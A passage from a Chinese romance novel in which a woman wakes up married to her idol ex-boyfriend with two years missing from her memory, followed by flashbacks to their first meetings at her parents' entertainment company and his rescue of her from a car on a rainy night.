《心动体验券》
1. 重逢
万籁俱寂的深夜，外面不知从何时起又开始落雪。
裴祉嫄偷偷瞥了一眼厨房里正在煮夜宵的男人，蹑手蹑脚地跑到了地下一层的花园处。
颜色各异的花因为身处室内而盛开得很漂亮，裴祉嫄爬上角落放置着的沙发，盖着毯子欣赏外面的雪景。
虽然已经在这里住了一天，但是还是很不习惯突然长大了两岁的他们。
尤其是，以已婚夫妻同居的他们。
裴祉嫄的思绪随着飘落的雪花回到了她记忆里的昨天。
回国没多久，她就接了一档综艺节目的录制邀请。
以飞行嘉宾的身份。
裴祉嫄并不是娱乐圈的艺人，接这档综艺的很大原因是导演和妈妈认识，而她又恰巧会些古琴，帮忙拍摄一些斫琴日常，以达到节目组拔高立意，宣传传统文化的目的。
在好友的建议下，她同意了。
反正总不会有什么坏处的。
理所当然的，作为飞行嘉宾，裴祉嫄特意观看了前几期的节目，然后意外发现，自己分手多年的前男友是节目的固定嘉宾。
“我说了要你做好心理准备的。”
姜烟澜注意到她陡然变化的脸色，朝她摊手，然后无情地堵住她接下来要说的话，“违约金很贵的。”
“还是说，你还没有放下他？”
“……”
不知道是不想付违约金还是想证明自己已经毫不在乎，总之最后裴祉嫄还是坐上了节目组的车。
然后在看到对方的第一眼就后悔了。
裴珉承的态度是预想过的，分手时他也说过他会把她当陌生人，明明都知道，可是当裴珉承真的面不改色地和她打招呼，仿佛第一次认识时，她的心情还是一下变得糟糕起来。
裴祉嫄想，如果裴珉承对她态度差点她说不定能好受点。
不过既然对方都放下了，裴祉嫄也没准备纠缠，只是学着他的样子和他礼貌问好，像是个长不大的小孩，非要把刺扎进彼此的肉里，感受到心脏处密密麻麻的疼才罢休。
两个人除了开头交流过一两句，全程都没有再靠近过一步，把再见即是陌生人这句约定履行得很好。
直到晚上的自由行动，因为恰逢中秋，节目组晚上没有进行拍摄，放他们自由行动了。听导演说附近正好有中秋晚会，大家商量了一下，最后打算集体出去凑个热闹。
裴祉嫄兴致缺缺地跟随在最后面，有一搭没一搭地附和着聊天。
然后在某个瞬间，被人偷偷牵住了手。
虽已至中秋，宁安的天气却依旧没什么变化，两个人距离不近，垂下的手却黏在一起，裴珉承的手一如既往的冰凉，而她不知是紧张还是什么别的情绪，手心出了汗。
不太好受。
裴祉嫄凑过去低声怒斥，“你发什么疯？被人看到怎么办？”
裴珉承没有靠近她，闻言表情依旧没什么变化，牵着她的手不放。
裴祉嫄试图挣脱却没成功，又怕弄出什么太大的动静引人怀疑，最后只好任由他牵着。
好在他也不是理智全无，过了几分钟的时间就松开了手。
裴祉嫄松了口气，小声说：“裴珉承，结束了。”
今晚过后，两个人就不会再有见面的机会了。
裴珉承“嗯”了一声，没再回复。
最后的记忆停留在裴珉承头也不回的身影。
再次醒来时，她和他睡在了一起。
睁眼的时候，裴祉嫄感觉天都塌了。
她下意识觉得自己肯定还没睡醒才会梦到他，正要翻身重睡，突然摸到了裴珉承的胸膛。
热的。
胸腔处甚至还传来了对方平稳的心跳声。
裴祉嫄被吓得一下清醒过来，卷过被子坐起身准备大声尖叫，然后就被裴珉承一把捂住了嘴，“老婆，大早上发出声音会扰民的。”
闻言裴祉嫄愣住，坐在床上和刚睁开眼的裴珉承对视，“你喝多了还是在发神经？我们什么时候结的婚？”
没等裴珉承回答，她就先自顾自地打断了：“还是你在玩什么抽象？”
“为了报复我你至于这么拼吗？”
“……”裴珉承默默地看她嘀咕半天，然后伸手把她捞回怀里，“还熬夜吗？我看你现在真的不太清醒。”
裴祉嫄缩在他怀里，刚哦了一声就听到他继续说：“我们时候结的婚？老婆你已经问很多次了呀，两年前的秋天哦。”
“回答正确有没有什么奖励？”
推开他凑上来的唇，裴祉嫄使劲往他怀里钻。
现在她是真的想静静了。
裴珉承也没缠着她，但是被闹醒了以后也没睡着，看她睡着就出房间门开始忙工作了。
裴祉嫄一觉睡醒发现这个噩梦还没醒来，终于接受了这个可怕的事实，然后开始在床上躺着不动，任由裴珉承怎么说怎么劝都不吃饭。
于是深更半夜被饿得实在受不了，裴祉嫄万分不好意思地推醒了裴珉承。不过他没有像以前一样径直走进厨房，而是先习惯性凑上来亲了亲她的额头，才一边安慰她几句一边走进厨房。
好像在哄小孩子。
想了一下这两年两人的相处方式，裴祉嫄从记忆里退出来打了个冷颤。
“怎么跑到这里来了？”
熟悉的声音传来，裴祉嫄回神，看见裴珉承站在几步之外看着她。
“看雪。”裴祉嫄看他穿了件单薄的丝绸睡衣，又低头看了眼裹着厚毛绒睡袍的自己，哦，还有外面一层厚厚毛绒毯子。
死装男。
裴祉嫄按耐住想要问他冷不冷的冲动，起身跟他上了楼。
楼上的热气很足，裴祉嫄瞥了一眼自顾自走到沙发上的裴珉承，悄悄散开了一点袍子的腰带。
裴祉嫄忙着干饭，没有注意到裴珉承不知从什么起不再低着头玩手机，而是单手撑着下巴，靠在沙发椅背上摇摇注视着她的方向。
等她吃完，四处看了一圈，在阳台看见了裴珉承的背影。
她知道，他大概率背着她偷偷抽烟。
看着身形单薄的人穿着件薄衣服站在外头，裴祉嫄不知道该气他是真觉得自己身体太好还是该气他死性不改。
她知道，裴珉承有压力时总是借助烟和酒去麻痹自己的神经。
不过没有了两年的记忆，裴祉嫄不知道他是什么时候又重新开始抽烟的，在一起时，因为她不喜欢烟味，他没在她面前抽过。
后来索性就戒了。
裴祉嫄盯着他的背影看了一会儿，没来由地有些悲伤，结婚了又能怎么样，谈恋爱了能分手，结了婚也能离。
看裴珉承的样子像是什么记忆问题都没有的，可是她变了，她不知道两个人怎么会结婚的，对这个工作狂魔不再抱任何奢望和幻想，他这么喜欢工作，就让他和自己的工作过去吧。
她才不要重蹈覆辙。
想好要离婚的事，裴祉嫄收回了目光，忍住了想给他送毯子的想法。
反正他身体好，爱吹多久吹多久。
还是不能接受两个人同睡的事实，裴祉嫄丝毫不犹豫地裹着厚重的毛毯被子躺在了沙发上。
继续盯着人看了一会儿，裴祉嫄眼不见心不烦地扭头背过身去，屋内暖气很足，今天一大清早就被吓醒，睡眠不足的她很快就睡了过去。
迷迷糊糊间被突然入侵的冷空气惊醒。
裴珉承的身上裹挟着在屋外沾染上
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的凉意，冰凉的手揽住她的腰。
裴祉嫄被冷得下意识挣了挣，却在下一瞬被抱得更紧，裴珉承把头埋在她的后背上，声音闷闷的：“好冷哦。”
裴祉嫄眼也没睁，开口责怪他：“谁叫你非要去外面吹冷风的。我现在也冷。”
“对不起，”裴珉承说着又往前挤了挤，“我今天做错什么了吗？”
闻言，裴祉嫄总算舍得睁开了眼睛，“不懂你说的什么意思？”
“今天都不理我，”裴珉承委屈地控诉她，“晚上还不要一起睡，我是哪里惹你不开心了吗？”
“……”鉴于从来没见过这样会示弱的裴珉承，裴祉嫄稍微震惊了一下，由于她没说话，裴珉承以为她默认，于是更加委屈地搂紧她。
“不要这么对我，好不好？”
你才不要这么对我好不好，裴祉嫄被耳朵边传来的热气刺激得缩了一下身体，皱着眉阻止他，“回房睡。”
“……你抱我。”
懒得哄他，或者说，只要一想到现在的她要面对的是两年后这个娇得不得了的裴珉承她就受不了。
加上天都快亮了，她实在是困得不行，裴祉嫄冲他伸伸手，察觉到自己被人抱起来时闭上了眼。
明天的事明天再说，现在，睡觉最重要。
两个人的距离在最初裴祉嫄还尚有一丝意识时，中间甚至还能再塞下一个人，等到她睡着，下意识地朝着热源滚过去，再把腿一搭，就美美入睡了。
身侧的裴珉承却被压住动弹不得，紧绷着身体好半天才终于松懈下来。
半晌过后，他小心地扒开糊了一嘴的头发丝，低头盯着裴祉嫄睡着时下意识张开一条缝隙的嘴看了一会儿，将其手动闭上，然后开始发呆。
看到后来他也生出几分困意，揽住人睡了过去。
窗外的雪在后半夜下得更大了，一层层地覆盖在已经沾有污垢的雪地上，整个世界都变成纯白色，像水晶球里梦幻的雪花世界。
裴祉嫄又做了那个反复出现的梦。
梦里是下着瓢泼大雨的黑夜，身穿单薄衬衫和短裙的女生失魂落魄地行走在空无一人的街道上，昏黄的路灯打在她身上，照亮了她薄薄一片的身形和形容枯槁的侧脸。
她的头发被打湿厚重的披在脑后，衣裙也裹满水沉重地贴在身上。
知道接下来会发生什么，明知无可奈何却还是试图靠近，屡次尝试依旧以失败告终。
先是象征着死亡的闪电刺破黑夜，紧接着一束刺目的灯光直冲依旧毫无察觉的女生袭来。
心跳在这一刻疯狂跳动，在刺耳的撞击声响起时，裴祉嫄下意识闭上了眼，下一秒，铺天盖地的疼痛传来。
裴祉嫄瞪大眼睛摔在地上，感受着身体里的血液争先恐后的流出，随着大雨流进路两旁的河道里，呼吸声沉重而缓慢。
她要死了。
故事从未朝这样的方向发展过，裴祉嫄一动不动地躺在地上，雨水好像淋到了她的灵魂，痛意渐渐消失，感受着生命的飞速流逝，裴祉嫄再次深刻的意识到：她快死了。
在濒死的前一秒，裴祉嫄回到了旁观视角，看到了被撞击得稀烂的身体，顺着流动的血水发现了一张完全破损被染红的纸张。
人群议论声和警笛、救护车的声音交织，随后逐渐远去，像是隔了层玻璃般让人听不真切。
心跳没来由地加快，裴祉嫄满头大汗地睁开眼，大口喘息着。
裴珉承起身坐在她身边，掰开她因害怕而紧紧攥成拳的手握住，“别怕，只是噩梦。”
透过床头略显昏暗的灯光，明显还没回过神的裴祉嫄盯着此刻这个唯一能带给自己安全感的男人，不知怎的，突兀地想起了两人刚认识的时候。
2. 初见
裴祉嫄的爸爸妈妈皆从事音乐相关的工作，就职于国内知名的大型娱乐公司HSP。
平日工作繁忙没什么时间管裴祉嫄。
升高三的那个假期，妈妈忙着筹划来年春将推出的女团出道专辑的制作，于是裴祉嫄只好去公司找妈妈。
按公司规定来说，裴祉嫄身为外部人员是不能进公司的，但裴祉嫄个人比较特殊。
第一次来公司楼下等妈妈时，裴祉嫄意外撞见了公司老板，并被对方询问是否有成为艺人出道的意愿。
裴祉嫄以学业繁忙为理由拒绝了，老板没有放弃，得知她的爸爸妈妈在公司工作后又约见了他们谈话，随后就开放了裴祉嫄作为公司外部人员依旧能进公司的权利，以此企图找机会说服她成为公司的一员。
只不过除了那一次，裴祉嫄这也才是第三次来公司，每一次都是妈妈带来的，这还是第一次第一次自己来。
因为妈妈太忙，短暂地见了一面后，裴祉嫄懂事地决绝了妈妈送她的举动，但是自己也没有立刻离开公司。
裴祉嫄捂着只残存些光感的左眼坐在消防通道楼梯间，在心里问自己到底想要做什么。
进入高三就意味着高考，而她直到现在都没有任何目标，就只是重复着每天上学放学的无趣日子。
所以她才总是有事没事就跑到公司来，这里的练习生很多，有梦想的人很多，她也试图通过这些人寻找自己的人生目标。
出神时安静的楼梯间响起了一道不急不慌的脚步声，裴祉嫄急忙起身，生怕撞到什么艺人。
但她只往上走了几个阶梯，就猝不及防地和一个陌生的男人对上了视线。
男人染着亮眼的橘发，黑色碎花衬衣勾勒出他纤细的腰身，裸露在外的皮肤在有些昏暗的楼梯间都白得晃眼，不过比起他姣好稍显艳丽的脸，裴祉嫄率先被他左耳晃动的长耳环吸引了视线。
高考毕业，她也去打个耳洞。
见眼前的人傻傻地盯着他看，男人心里有些紧张，脸上却是面无表情。
他慢悠悠地下了几层楼梯，皮鞋的声音在空旷的楼梯间响起，两人之间的距离一下被拉近了。
“你不是公司内部的人吧，非公司人员不建议长期逗留在公司哦。”
殷红的、柔软的唇贴近，好听的声音伴随着温热的气息向她袭来，裴祉嫄仰头和他对视，被他冷漠的下三白眼睛吓到，不自在地低下头躲避他的眼神。
好在对方只是淡淡地说完就越过她继续往下走，没再留给她一分视线。
裴祉嫄平复了一下呼吸，往上走了几步又会有看了一眼，敏锐地注意到他垂着的手里夹着一只还未点燃的烟。
不喜欢烟味的裴祉嫄皱了皱眉，不过到底两人不认识，更何况每个人都有自己的爱好，她无权干涉，于是抬脚走了出去。
她很快将这个小插曲抛之脑后，万万没想到两个人还有再见的机会。
妈妈的工作有条不紊地进行着，爸爸也忙于工作，周末时她再次跟妈妈去公司转悠，虽然妈妈明面上说带她放松心情，但她清楚，妈妈是准备教她接触她的工作。
虽然没有找到自己想要做的，但裴祉嫄也不打算继承父母的职业，所以能推的就都推了。
和妈妈来到练习室时，爸爸正和一直以来负责的男团排练舞蹈。
成员加上伴舞，少说也有几十个人，裴祉嫄却一眼在其中注意到了上次在楼梯间遇到的那个男人。
亮眼的橘色头发换成了粉金色，穿着Celine黑t牛仔裤，露出的手臂很有线条。
他整个人看起来很瘦，或许这是爱豆的基操，裴祉嫄有注意到他身边的几个人也都很瘦，但是动作间露出的一截细腰能看得出身材管理很好，瘦而有型。
见她目不转睛地盯着人看，岑芮在旁边调侃：“那是裴珉承，是你爸爸带的团的成员，好看吧？”
裴祉嫄下意识嗯了一声，回过神来娇嗔地唤了声妈妈，见状，岑芮笑了笑没再逗她，搂着她的肩和她说他们现在在准备年末舞台，所以最近很忙。
虽然爸妈都经常接触艺人，但是裴祉嫄并不追星，对娱乐圈半点不了解，只听追星的舍友提过裴珉承的组合ERATH，据说是HSP当之无愧的当家男团，其火爆程度是连她都刷到过几首歌的程度。
只不过她只听过歌，裴祉嫄也不知道他们团都有什么人，所以那天遇见时没有认出来。
还好他没有自恋地觉得她是个私生。
认真旁观完他们排练，即使裴祉嫄，也难免沉溺其中。
有点懂室友一天到晚捧着手机是为什么了。
在父母的引荐下和他们自我介绍了一下，隔着吵闹的人群，裴祉嫄和裴珉承对视了一眼又同时移开了视线，默契地把这当做第一次见面。
“你好，裴珉承。”
出于豆德考虑，裴珉承站在原地冲裴祉嫄颔首点头，裴祉嫄自报完家门也点头以做回应，距离遥远得能再塞下两个人。
看女儿不太自在，岑芮两人也就没有继续留下来，和裴珉承几人道别后一左一右地挽着裴祉嫄的手臂，聊着天走远了。
有成员满眼羡慕：“我也想我爸妈了。”
裴珉承抿抿唇，注视着裴祉嫄离去的身影，没有说话。
看裴祉嫄的样子，连他们第一次见面都忘了。
严格意义上来说，远在两人的第一次见面之前，他就已经知道裴祉嫄了。
那是个闷热的午后，他练习完出来透气时恰好看到高楼之下有一个傻乎乎的人，在大家都躲避着太阳的时候一个人吸收阳光。
按道理来说，这样高的楼层他不应该注意到如此渺小的她，可是那天周围很空荡，只有一个穿着校服的女孩站在视线范围之内。
后来他听工作人员谈论说老板想要把她签进公司，又得知她是岑芮那位天天挂嘴边的天才女儿。
裴祉嫄长相偏温婉亲和，声音也软软的，看面相就是个很讨喜的孩子。而且唱歌也好听。
当然，以上消息都是从岑芮那个爱女儿爱到把女儿唱的歌设置成铃声以及把照片设置成屏保的女儿奴处得知的。
如果出道，毫无疑问的门面主唱。
大概没人知道，其实比起唱歌，裴祉嫄更擅长的显然是舞蹈。
他下班准备离开公司时，放在练习室的手链忘了拿，回去时撞见了正在使用练习室的裴祉嫄。
裴祉嫄虽然非公司内部人员，但是由于老板的默许，加上父母都在公司工作，她和好些个工作人员关系都不错，一个空的练习室，还是能用的。
裴珉承站在门口沉浸式观看了一场观赏性很高的舞蹈表演，他自己不是舞担，跳舞是在当练习生时补的，他知道跳舞并不是一朝一夕就能练好的，要到裴祉嫄的熟练程度至少也是从小开始就得学。
还不能间断。
比起还需练习的练习生，裴祉嫄更像是完成式偶像，也难怪老板约谈时从不提练习生，开口就是出道艺人。
因此裴珉承生出了一点好奇心，他看得出来裴祉嫄并不是完全不热爱舞台，只是因为一些原因使得她放弃了自己的热爱。
甚至连舞蹈都要偷偷练习。
本想着从爱炫耀女儿的岑芮那里探听，却不想除了夸赞之外岑芮绝口不提其他事，裴珉承也就放弃了旁敲侧击询问的想法。<
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好奇有一点，但大多来源于可惜的心情，涉及到别人的秘密，他就不是很想去打听了。
不过连他都没有想到，解决疑问的那天很快就到来了。
裴祉嫄周五放学时去公司楼下等爸妈下班一起吃饭时突逢大雨，于是便就近在公司附近找了家奶茶店避雨。
说是就近，其实和公司还是有一小段距离的。HSP地处商业圈中心，附近多是些办公楼，著名的女团出厂商YEC也在周边。
裴祉嫄正在惬意地喝着奶茶等雨停时，突然注意到了一个身穿衬衫搭短裙的女生从窗边路过，过于眼熟的衣服让裴祉嫄愣了愣，然后匆忙追了上去。
雨势还是很大，晚上还刮着风，各种不利的环境影响了她，裴祉嫄的眼睛在几年前的车祸中受伤，只能感受些微弱的光芒以至于眼球不会萎缩，平常没有什么感觉，但是遇到坏天气时缺点就暴露出来。
意识到把人跟丢后裴祉嫄站在原地缓了缓，身上的衣服早已湿透，黏答答地贴着身体，裴祉嫄却无心在意。
在注意到周边过于眼熟的环境时，裴祉嫄浑身起了鸡皮疙瘩，寒意从脚底直抵头顶。
梦里，一个穿着衬衫和短裙的女主，就在这样的街道上车祸去世。
甚至，也是这样的雨夜天气。
裴祉嫄低头，注意到今天的自己穿着的正是衬衫和短裙。
和梦里如出一辙的雷电劈了下来，随后，晃得刺眼的车灯从前方打来。
加速跳动的心脏警醒着她应该立马转身避开，可是脚步像是被钉在了原地。
分不清是汗水还是雨水从额头顺着她的脸颊滴落，裴祉嫄捏紧裙边，直愣愣地盯着前方。
一辆车飞速朝她驶来，刺耳的喇叭声由于耳朵里进了水而听不真切，隔着不停砸落在地上的雨水，裴祉嫄仿佛和司机隔空对视了一眼。
下一秒巨大的拉力把她拽到了一旁，裴祉嫄还没回神，就先听到了来自司机的怒骂和头顶响起的蕴含着怒火的声音。
“裴祉嫄你瞎吗？车来了不知道躲？”
裴祉嫄被吼得一愣，然后真挚的嗯了一声，“对啊，我瞎。”
“……”
裴珉承和仰着头看向自己的人对视，被这一句话堵得哑口无言。
“我瞎怎么了？又不是我想这样的。”
裴祉嫄冲他说，语气有些哽咽，却还是固执地瞪着他，“你怎么，还吼人呢？”
“……对不起。”看她哭了，裴珉承手足无措地捏紧了伞柄：“能不能不哭了？”
“对不起，我没有吼你，你别生气了行不行？”
雨水打在伞面上、砸在地面上的声音很吵，可裴祉嫄还是听到了他这句不甚熟练的道歉，她没出息地吸了吸鼻子，满腔的生气演变成委屈，最后瘪着嘴扭过头去，没有搭理他。
裴珉承不会安慰人，尤其是像裴祉嫄这样年纪的小女生，最后他只能默默地撑着伞，给裴祉嫄披上外套，任由她默不作声地站在原地掉眼泪。
“你哭好了吗？”
看她好像情绪恢复了些，也不再抽泣了，裴珉承小声地问了一句，谁知听完这话，裴祉嫄抬头瞪了他一眼，扭头就走。
不知道哪里得罪到人的裴珉承连忙撑着伞跟了上去，“你这样准备去哪里？”
裴祉嫄想说“我什么样子关你屁事”，但是低头一看，自己身上的衣服都湿了，虽然披着他的外套但也无济于事，风一吹，能冷死。
脚步一顿，裴祉嫄转身冲进伞里，幸好裴珉承刹车及时，不然两个人就得随机撞死一个。
裴祉嫄抬头，眼眶通红地盯着他问：“那，怎么办啊？”
3. 验证消息
好可怜啊。
冒出这个念头的下一瞬，裴珉承做出一个大胆的决定：把人领回家。
裴祉嫄理智尚存地询问：“万一，被拍到的话……”
“放心吧，我会处理好，”裴珉承低声安慰她，“你现在这样一个人没法回去，先跟我走，晚点我送你回家，可以吗？”
像是被塞壬蛊惑的人类，裴祉嫄几乎是晕乎着跟着裴珉承回到了他家。
裴珉承的家和他沉闷的性子相反，是偏明亮的风格，四处摆放着的鲜花盆栽，墙上挂着的各种挂画，各种小细节点缀的摆设彰显出其主人很享受生活的风格，整体温馨又打理得井井有条。
“你先去洗漱吧。”
裴祉嫄自以为小心的打量行为被人收入眼底，裴珉承勾了勾唇，贴心地给她指了淋浴间并一一告知沐浴用品的摆放位置，确保没有问题之后才离开。
他自己也去收拾了一下，出来时淋浴间的水声还在响，他也没在意，女孩子洗澡需要很长时间，这点他知道。
等待的时间裴珉承和裴祉嫄的父母报平安，又去衣柜里翻了一套还没拆封的睡衣放置到门口，“睡衣在门口，你待会开门就能摸到。”
“我知道啦。”
得到回应后裴珉承开始做各种准备，直到实在没什么能忙的了，才不紧不慢地坐下休息。
裴祉嫄换好睡衣，接过裴珉承递过来的吹风机开始暴力吹发，然后顶着个炸毛的脑袋出现在裴珉承面前。
“……”手痒很想给她打理好，裴珉承忍了忍，随后一言难尽地移开了目光，“先过来吃饭吧。”
想着特地把肚子都留到周末吃好吃的，裴祉嫄今天只吃了几口食堂难吃的饭，以及喝了两口奶茶，看到餐桌上煮好的饭，被好闻的香味引得肚子都跟着叫了两声。
“谢谢你。”
没有和他客气，裴祉嫄拉开椅子坐下就开始埋头干饭，吃到一半才突然想起来找手机，然后就听裴珉承说：“已经和你爸妈联系过了。”
“哦，”大概是没想到他看着冷漠，会煮饭，还那么细心，裴祉嫄默默在心里刷新了对他的认知，然后继续干巴巴地道谢。
裴珉承嗯了一声，没再说话。
用一句通俗的话来讲就是，现在的环境是掉根针都能听到的程度。
裴祉嫄埋头干饭的同时还要小心地控制自己动作，虽然她没有什么偶像包袱，但是太安静了，吃饭都不敢有什么太大的动作。
有种偷吃的错觉。
当然，除了过度安静的环境之外还有那道灼热的视线。
裴祉嫄忍了忍，没忍住，“……你盯着我看干什么？”
“很明显吗？”
偷看被抓包这人也是面不改色的，甚至因为被发现还更加光明正大地看向她。
裴祉嫄无语地翻了个白眼，“好奇我的眼睛？”
“我说是，你会告诉我吗？”
裴珉承依旧目不转睛地看着她。
裴祉嫄点点头，“为什么不？”
“如你所见，我这只眼睛是瞎的。”裴祉嫄神情自然地伸手指了指自己的左眼，还贴心作出解释，“车祸导致的。”
“……”没想到他这句随便接的话她真的会回复，还那么认真，裴珉承对上她真挚的眼睛，生出了几分愧疚，“对不起。”
“又不是你撞的你道什么歉啊。”裴祉嫄无所谓地摆摆手，最开始她确实无法接受自己从一个健康的人变成了这样，但是无法治好，除了接受现实她能怎么办呢？
或许是看他还是沉默，裴祉嫄又补充道：“我另一只眼睛好着呢。”
裴珉承嗯了一声没再说话，意识到把话聊死，裴祉嫄只好转头继续干饭。
煎熬地吃完饭，裴祉嫄正想去洗一下碗时被打断，“不用洗，你放着就好。”
“先过来。”
“怎么了？”
裴祉嫄走过去，刚问完还没得到答复就看到桌面上摆了一把药。
“……”吃药很麻烦，裴祉嫄不想吃，无声地表达着自己的拒绝。
裴珉承视若无睹，“快吃吧，你刚才不是脸都红了，还说头晕？”
想起来自己在车上撒的谎，裴祉嫄恨不得穿越回去让自己闭嘴。可是，她又怎么说得出口自己是因为和陌生异性同处一个空间，觉得尴尬才会脸红。
无法解释，裴祉嫄只好捏着药，一颗一颗地慢慢吞咽。
“……”默默地看她一连接了几杯水才吃完，裴珉承啧了一声，客观评价道：“好矫情啊裴大小姐。”
裴祉嫄生气，但是不敢说话，于是只能转头瞪了一眼对方。
不知道是由于年龄上的差距还是裴珉承过于强大骇人的气质，裴祉嫄面对比她大9岁的裴珉承时总是处于弱势方。
比面对发火时的班主任还要怂。
偷偷在心里唾弃了一下没出息的自己，裴祉嫄小声说：“我要回去了。”
“等衣服送来我送你回去，”裴珉承瞥了一眼她现在的穿着，好心提醒这位胆小的女生。
无奈，裴祉嫄又只能坐回了原位。
好在送衣服的人来的很快，裴祉嫄用了自己最快的速度换完走到门口，“可以走了吧？”
“……等一下。”
最终，实在无法忍受她一直顶着个鸡窝头在自己面前乱晃，裴珉承还是给她梳了头发。
本来是准备让她自己梳头的，但是现在的小孩太鲁莽，梳个头大有把自己的头扯下来的架势，半点耐心都没有。
裴珉承忍无可忍，夺过梳子开始整理她乱七八糟的头发。
裴祉嫄走在他前面，直直的长发随着风飞扬，虽然看不见她的脸，但光看她蹦蹦跳跳的背影也能看出她现在的开心。
裴珉承无奈地跟在身后指路。
送人回来后裴珉承联系人把车送去清洗，又开始收拾家，直到恢复原样才满意地坐下休息。
今天没有练习，但是和一个年纪和自己妹妹差不多的女孩接触已经废了他全部精力。
裴珉承和妹妹道完谢，又联系好工作人员请他们多加注意，一旦网上有任何今天的消息就立刻删除。
他倒是无所谓，闹绯闻也就是被骂几句，裴祉嫄年纪还小，可不能被打扰。
万一为此烦恼导致学习成绩下滑，那可简直是好心办坏事了。
对此一无所知的裴祉嫄一回到家就准备和爸妈撒娇，然而还没开口，妈妈就指着她身上的衣服问，“衣服挺好看的，裴珉承买的？”
“……”这她上哪儿知道去啊，不过重点显然不是这个，裴祉嫄顿了顿，先凑过去喊头晕，等父母转移了注意力之后才开始解释今天的事。
岑芮叹了口气，人家也是好心，没有他，自己的女儿说不定又要再次经历车祸，虽然晚上把一个女孩子带回家的举动不怎么好，但是说到底也是为了帮人，他们夫妻两也是认识他十多年了，对他的人品当然有所了解，也很信任。
把目光放到裴祉嫄身上，岑芮提醒道：“爸妈改天会感谢他，你少和人联系，他的身份，不合适。”
裴祉嫄乖乖点头，声称自己不太舒服就先回房间了。
半夜，裴祉嫄在床上翻来覆去的睡不着，最后翻出手机开始在网上打字。
“裴珉承的黑料”
她得找点什么他不好的地方，避免自己陷进去。
起初是抱着这样的目的搜的资料，翻了半天发现除了常常释放冷气吓人之外，还真找不到什么能诟病的点。
裴祉嫄气急败坏地退出搜索框，打开视频软件准备刷视频睡觉。
然后被该死的大数据推送了一堆裴珉承的视频。
按了无数次不感兴趣后，裴祉嫄放弃抵抗，开始沉浸式
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看舞台。
等她终于忍不住睡过去时，窗外天都开始亮了。
再次睁眼，已经是大下午了，裴祉嫄把没电关机的手机充上，意料之中的，爸妈全都出门了。
好不容易盼来的相聚日就这样过去了，下一次再有机会一块吃饭又要等不知道多久，裴祉嫄叹口气，从厨房里端出做好的饭菜。
吃完饭后裴祉嫄上楼拿了手机，开机后屏幕上弹出了一条好友申请的消息。
裴祉嫄顺势点进去解了锁，通讯录处有一个红点，一个头像是颇有年代感的风景照ID为乱码的账号添加了她。
验证消息处写着：我是裴珉承。
“……”
他的年纪看脸没看出来，看头像看出来了。
裴祉嫄没有怀疑对方是裴珉承的真实性，但也没有通过好友申请，只是通过验证消息回复了一句：你有事吗？
当然是没有回复的，她爸妈都那么忙，他也不可能闲着。
裴祉嫄没有再关注这事，转头就进了三楼的琴房。
高一下学期时，她在好朋友的建议下开始在网络上发布一些表演古琴的视频，或许是她昂贵的古琴的缘故，虽然没什么人讨论她的弹琴技术，但她也有百万粉丝。
当然每次视频底下不是问衣服就是问手链的，有人还问过她是卖琴的还是卖衣服的，总之，除了偶尔会有人真诚地评论，感谢她的琴音让人平静之外，其他的全是一些无关话题。
裴祉嫄也不在乎，依旧保持着每周发布一支视频的频率，有时看见评论区点歌的，也会练好后发出去。
当然，因此也遭遇了一些攻击。
有些不接受用古琴去弹不怎么高雅的流行乐的人会在评论区下面发言攻击，裴祉嫄也没太在乎，时代在进步，永远固执的人是要被社会淘汰的，假使她从头到尾只去翻弹梅花三弄和楼兰散之类的古琴曲，说不定就会彻底淹没在这个大数据时代里。
古琴的传播是件任重道远的事，事实上，任何非遗的传播都是一件不简单的事，除了让大众知道了解非遗本身，更难的是让大家去了解其背后象征的文化。
裴祉嫄不是非遗传承人，对于古琴她更多的是用来平心静气的，喜欢是真的喜欢，但是并没有什么很大的责任感，只是朋友说一个人弹没意思，发到网上大家一起欣赏的话说不定能多一点人喜欢古琴，也算是为传播古琴艺术做出一点贡献。
把录好的视频稍微剪辑了一下，裴祉嫄发布完视频，照例在评论区回复了几条评论后，她才走出琴房。
回到房间时手机亮着，裴祉嫄点开妈妈发的消息，心情奇怪地下了楼。
往事随风：去拿你的快递。
取完快递回来，裴祉嫄拆开，发现是一件叠好的汉服。
另外还有一套搭配的头饰。
不是店铺发的，而是自己包装的。
一般的店铺不会叠成这样。
而且，裴祉嫄也没有买过这个东西。
是从什么时候起收到这些莫名其妙奇妙的快递的呢？
大概是初三开始吧。
从最开始的日常衣服，各种手作的小饰品，到后来的手作汉服，发饰，各种各样的名牌衣服包包，裴祉嫄收了很多。
她疑惑，曾经找人查过寄件人，却没查到。问父母，他们却是一副波澜不惊的样子。
“你就收着吧，是别人的一番好意。”
就这样，裴祉嫄不定时的收快递，在各个平常的日子里，还会收到漂亮的鲜花。
不知道是谁送的，但是裴祉嫄感受得到对方的善意，如果有一天能见到对方，她会真诚地向人道谢。
收拾好东西准备提前回学校时，久久没有动静的手机终于再次亮起。
验证消息：大小姐，拜托你同意一下吧。
验证消息：这样聊天，有点奇怪。
4. 年末
“我通过了你的朋友验证请求，现在我们可以开始聊天了”
YuAn：你最好真的有事找我。
Hfueiwndni：你的衣服。
突然想起自己遗忘的衣服，裴祉嫄尴尬得头顶都在冒烟，指尖反复敲打，最后故作镇静地发出了消息。
YuAn：知道了。
Hfueiwndni：那年末见。
交流结束，裴珉承没有再回复消息。
由于不好意思问他，裴祉嫄只好自己查了年末的地址，ERATH出席的年末舞台举办地址在海外，幸好她在这里的签证还没过期。
不是没有想过找舍友一块前行，只是为了避免节外生枝，裴祉嫄很担心自己和裴珉承私下有交流的事被别人知道。
但是，她自己肯定是不能出面和裴珉承的人有接触的，以防万一，裴祉嫄选择找上好朋友姜烟澜。
“啊？你准备去年末？”
裴祉嫄一向是宿舍里对娱乐圈最不感兴趣的人，今天这是怎么了？
“我有件衣服落朋友那里了，他说年末的时候还我，”抹去了一些不方便说的，怕她不相信，裴祉嫄又补充了一句，“正好也去长点见识，我还没看过年末舞台呢。”
闻言，姜烟澜小心地看了一眼宿舍里的追星族郁渺，眼神示意她有更好的人选。
“可是我怕渺渺太兴奋忘了我，你知道我不太方便在人很多的地方挤的。”裴祉嫄解释道：“而且，那天要上课，她不会因为追星请假的。”
这倒是实话，从认识起姜烟澜就知道她的眼睛不好，作为从初中就认识的好朋友，姜烟澜当然没有拒绝的想法，不上几节课也无所谓，反正她成绩好。
“行吧，舍命陪君子。”
确定完人数，裴祉嫄就去找妈妈帮忙买了票，不然以她和姜烟澜两个人，可能连购票资格都没有。
事情到这里，裴祉嫄心里的大石头总算是落下了，她能察觉到现在的事情渐渐开始发生偏移，所以她不会任由它就这样发展下去。
解决好衣服的事之后他们就不会再有任何联系了。
